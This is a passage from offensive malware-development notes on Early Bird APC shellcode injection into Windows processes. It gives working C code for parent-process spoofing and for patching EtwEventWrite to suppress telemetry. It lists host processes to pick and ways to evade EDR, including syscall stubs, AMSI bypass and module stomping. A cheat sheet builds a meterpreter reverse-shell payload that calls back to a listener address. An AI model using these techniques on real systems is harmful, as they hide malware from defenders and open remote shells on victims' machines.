SwitchToFiber Switch to fiber windows.h Executes shellcode fiber

11.2 Process Access Rights for Injection

// Required for target process handle
DWORD process_access =
    PROCESS_VM_OPERATION    |   // VirtualAllocEx, VirtualProtectEx
    PROCESS_VM_WRITE        |   // WriteProcessMemory
    PROCESS_VM_READ         |   // ReadProcessMemory (optional)
    PROCESS_CREATE_THREAD   ;   // CreateRemoteThread (not needed for APC)

// Required for target thread handle
DWORD thread_access =
    THREAD_SET_CONTEXT      |   // QueueUserAPC, SetThreadContext
    THREAD_GET_CONTEXT      |   // GetThreadContext
    THREAD_SUSPEND_RESUME   |   // SuspendThread, ResumeThread
    THREAD_QUERY_INFORMATION;   // OpenThread info

12. Target Process Selection

What it means: The choice of host process significantly impacts OPSEC. Spawning svchost.exe as a child of notepad.exe is suspicious. Choose parent-child relationships that look legitimate.

12.1 Good Target Processes

Low-suspicion targets for shellcode hosting:
  ├─ C:\Windows\System32\RuntimeBroker.exe
  ├─ C:\Windows\System32\dllhost.exe
  ├─ C:\Windows\System32\svchost.exe (with -k flag)
  ├─ C:\Windows\System32\werfault.exe
  ├─ C:\Windows\SysWOW64\notepad.exe (32-bit contexts)
  └─ C:\Windows\System32\explorer.exe (only spoof parent)

Bad targets (high EDR scrutiny):
  ├─ cmd.exe, powershell.exe        ← always monitored
  ├─ wscript.exe, cscript.exe       ← script hosts
  └─ mshta.exe, regsvr32.exe        ← LOLBins

12.2 Parent Process ID (PPID) Spoofing

// Make your process look like it was spawned by explorer.exe
// Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

HANDLE parent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid);

SIZE_T attr_size;
LPPROC_THREAD_ATTRIBUTE_LIST attr_list = NULL;
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size);
attr_list = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attr_size);
InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_size);

UpdateProcThreadAttribute(
    attr_list, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &parent, sizeof(HANDLE), NULL, NULL
);

STARTUPINFOEXA siex = { 0 };
siex.StartupInfo.cb = sizeof(siex);
siex.lpAttributeList = attr_list;

CreateProcessA(
    "C:\\Windows\\System32\\dllhost.exe",
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
    NULL, NULL,
    (LPSTARTUPINFOA)&siex, &pi
);

13. OPSEC Considerations

13.1 Memory Protection Pattern

BAD (flagged by EDR):
  VirtualAllocEx(..., PAGE_EXECUTE_READWRITE)   ← RWX allocation
  WriteProcessMemory(...)
  QueueUserAPC(...)

GOOD:
  VirtualAllocEx(..., PAGE_READWRITE)            ← RW first
  WriteProcessMemory(...)
  VirtualProtectEx(..., PAGE_EXECUTE_READ, ...)  ← then RX
  QueueUserAPC(...)

13.2 Handle Cleanup

// Always close handles — orphaned handles are telemetry
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(parent);
DeleteProcThreadAttributeList(attr_list);
HeapFree(GetProcessHeap(), 0, attr_list);

13.3 Shellcode Encryption in Memory

// Decrypt shellcode only at injection time — never store plaintext
// Use AES or XOR (see Shellcode_Encryption_and_Encoding.md)
decrypt_shellcode(encrypted_sc, key, plaintext_buf);
WriteProcessMemory(pi.hProcess, remote_buf, plaintext_buf, shellcode_size, NULL);
SecureZeroMemory(plaintext_buf, shellcode_size);  // wipe plaintext immediately

13.4 OPSEC Summary Table

Practice Risk if Skipped Priority
RW → RX (no RWX) EDR flags RWX allocation Critical
PPID spoofing Suspicious parent-child High
Encrypted shellcode Static detection on disk High
Direct syscalls ntdll hook bypass skipped High
Handle cleanup Orphaned handles in telemetry Medium
Signed host process Spawning unsigned binary Medium
No command-line args Unusual arg patterns Low-Med

14. Detection & Evasion

14.1 EDR Detection Points

Detection vectors (roughly ordered by confidence):

HIGH CONFIDENCE:
  ├─ CreateProcess(CREATE_SUSPENDED) + VirtualAllocEx + WriteProcessMemory + QueueUserAPC
  │   → The "classic Early Bird sequence" — well-known pattern
  ├─ RWX memory allocation in remote process
  ├─ SetThreadContext cross-process (Thread Hijacking)
  └─ NtQueueApcThreadEx with Special APC flag

MEDIUM CONFIDENCE:
  ├─ QueueUserAPC targeting a thread in another process
  ├─ WriteProcessMemory to newly allocated region
  ├─ Suspicious parent-child (e.g., notepad.exe → svchost.exe)
  └─ NtTestAlert called after VirtualAlloc

LOW CONFIDENCE:
  ├─ CreateFiber + SwitchToFiber (less monitored)
  ├─ DEBUG_PROCESS flag (somewhat common in legitimate debuggers)
  └─ PPID spoofed to explorer.exe (common pattern but harder to rule out)

14.2 Evasion Strategies

1. Direct Syscalls (SysWhispers3 / HellsGate)
   → Bypass all ntdll user-mode hooks
   → QueueUserAPC syscall (0x44) called directly

2. Indirect Syscalls
   → Use legitimate ntdll gadgets to make syscall
   → Looks like syscall originated from ntdll

3. Sleep Masking
   → Encrypt shellcode in memory during sleep
   → EDR memory scanner sees encrypted blob, not shellcode

4. Process Ghosting / Doppelgänging
   → Write payload to a file before it's created on disk
   → Complex but high stealth

5. Module Stomping
   → Write shellcode over a legitimate loaded DLL's memory
   → Memory region appears to belong to signed DLL

6. ETW Patching
   → Patch Event Tracing for Windows (ETW) to suppress telemetry
   → Requires patching ntdll!EtwEventWrite

7. AMSI Bypass (PowerShell hosts)
   → Patch amsi.dll!AmsiScanBuffer before shellcode execution

14.3 ETW Patch (Suppress Telemetry)

// Patch EtwEventWrite to suppress event logging
// (Use with extreme caution — detectable by kernel-level ETW)

FARPROC etw_write = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD old_prot;
VirtualProtect(etw_write, 4, PAGE_EXECUTE_READWRITE, &old_prot);
// Patch: mov eax, 0 / ret
*(PBYTE)etw_write       = 0x33;    // xor eax, eax
*((PBYTE)etw_write + 1) = 0xC0;
*((PBYTE)etw_write + 2) = 0xC3;    // ret
VirtualProtect(etw_write, 4, old_prot, &old_prot);

15. Tools Reference

Tool Purpose Link
SysWhispers3 Direct syscall stub generator https://github.com/klezVirus/SysWhispers3
HellsGate Dynamic syscall number resolution https://github.com/am0nsec/HellsGate
Halo's Gate Syscall resolution (hooked stubs) https://github.com/boku7/AsmHalosGate
TartarusGate Dynamic indirect syscalls https://github.com/trickster0/TartarusGate
Cobalt Strike PPID spoofing, process injection Commercial C2
Havoc Early Bird + direct syscalls https://github.com/HavocFramework/Havoc
Sliver Process injection, C2 https://github.com/BishopFox/sliver
pe-sieve Detect injected code (defender) https://github.com/hasherezade/pe-sieve
moneta Live memory scanner (defender) https://github.com/forrest-orr/moneta
ProcessHacker View APC queues, threads https://processhacker.sourceforge.io

16. Comparison Matrix

Technique Complexity EDR Bypass Alertable State Needed Creates New Thread Target OS Req
CREATE_SUSPENDED + QueueUserAPC Low Low-Med No (Early Bird) No Remote process Any
DEBUG_PROCESS Medium Medium No No Remote process Any
NtTestAlert (self) Low Medium No No Self Any
Special User APC Medium Medium No No Remote process Win10 1903+
Thread Hijacking (SetThreadContext) Medium Low No No Remote thread Any
Fiber injection Low Medium-High No No Self Any
Direct Syscalls + APC High High No No Remote process Any

17. Cheat Sheet

Quick Early Bird Workflow

# Step 1: Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h

# Step 2: Encrypt shellcode (ALWAYS — see Shellcode_Encryption notes)
python3 xor_encode.py     # Quick XOR
python3 aes_encrypt.py    # Strong AES-256

# Step 3: Generate direct syscall stubs
python3 SysWhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtQueueApcThread,NtResumeThread \
    --output syscalls --arch x64

# Step 4: Compile (MSVC)
cl.exe earlybird.c syscalls.c /Fe:earlybird.exe /link kernel32.lib

# Step 5: Test (offline Defender scan)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File earlybird.exe

# Step 6: Check for memory injection (defender-side)
pe-sieve.exe /pid <target_pid>

Process Creation Flags Quick Reference

CREATE_SUSPENDED              = 0x00000004
DEBUG_PROCESS                 = 0x00000001
DEBUG_ONLY_THIS_PROCESS       = 0x00000002
CREATE_NO_WINDOW              = 0x08000000
CREATE_NEW_CONSOLE            = 0x00000010
EXTENDED_STARTUPINFO_PRESENT  = 0x00080000  ← for PPID spoofing

Common combinations:
  Early Bird basic:    CREATE_SUSPENDED | CREATE_NO_WINDOW
  Debug mode:          DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS
  PPID spoofing:       CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT
  Maximum control:     CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS

Memory Protection Flags

PAGE_READWRITE       = 0x04   ← Allocate with this first
PAGE_EXECUTE_READ    = 0x20   ← Then change to this
PAGE_EXECUTE_READWRITE = 0x40 ← AVOID — strong EDR signal

MEM_COMMIT   = 0x1000
MEM_RESERVE  = 0x2000
MEM_RELEASE  = 0x8000

Decision Tree — Which Technique?

Need Early Bird injection?
│
├─ Target: create new process?
│   ├─ Simple PoC / CTF?
│   │   └─ CREATE_SUSPENDED + QueueUserAPC → basic, works
│   │
│   ├─ EDR present (Defender only)?
│   │   └─ CREATE_SUSPENDED + RW→RX + PPID spoof + encrypted shellcode
│   │
│   ├─ EDR present (CrowdStrike / SentinelOne)?
│   │   └─ Direct syscalls (SysWhispers3) + CREATE_SUSPENDED + Special User APC
│   │
│   └─ Windows 10 1903+ target?
│       └─ NtQueueApcThreadEx Special User APC (no alertable state needed)
│
├─ Target: inject into existing process?
│   ├─ Thread hijacking (SetThreadContext + GetThreadContext)
│   └─ Find alertable thread → classic APC (not Early Bird)
│
└─ Self-injection (no remote process)?
    ├─ Fiber injection (CreateFiber + SwitchToFiber) ← low detection
    └─ NtTestAlert self-APC ← medium detection

Key Windows API Call Chain (x64)

CreateProcessA
  → kernel32!CreateProcessInternalW
    → ntdll!NtCreateUserProcess   ← direct syscall here with SysWhispers3

VirtualAllocEx
  → kernelbase!VirtualAllocEx
    → ntdll!NtAllocateVirtualMemory  ← syscall #0x18

WriteProcessMemory
  → kernelbase!WriteProcessMemory
    → ntdll!NtWriteVirtualMemory     ← syscall #0x3A

QueueUserAPC
  → kernelbase!QueueUserAPC
    → ntdll!NtQueueApcThread         ← syscall #0x44

ResumeThread
  → kernel32!ResumeThread
    → ntdll!NtResumeThread           ← syscall #0x52

References & Tools

Core Reading: - ired.team — Early Bird APC injection deep dive — https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection - modexp — Windows APC internals — https://modexp.wordpress.com/2019/08/27/process-injection-apc/ - hasherezade — Process injection techniques overview — https://github.com/hasherezade/process-injection - Alice Climent-Pommeret — Special User APC deep dive - MSDN — QueueUserAPC, CreateProcess, NtQueueApcThreadEx

Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - pe-sieve — https://github.com/hasherezade/pe-sieve - moneta — https://github.com/forrest-orr/moneta - Havoc C2 — https://github.com/HavocFramework/Havoc

Research Papers: - Sektor7 — Malware Development Intermediate (Early Bird technique) - VX-Underground — APC injection papers - Windows Internals (Russinovich) — Chapter 3: Processes and Threads


← Malware development top ↑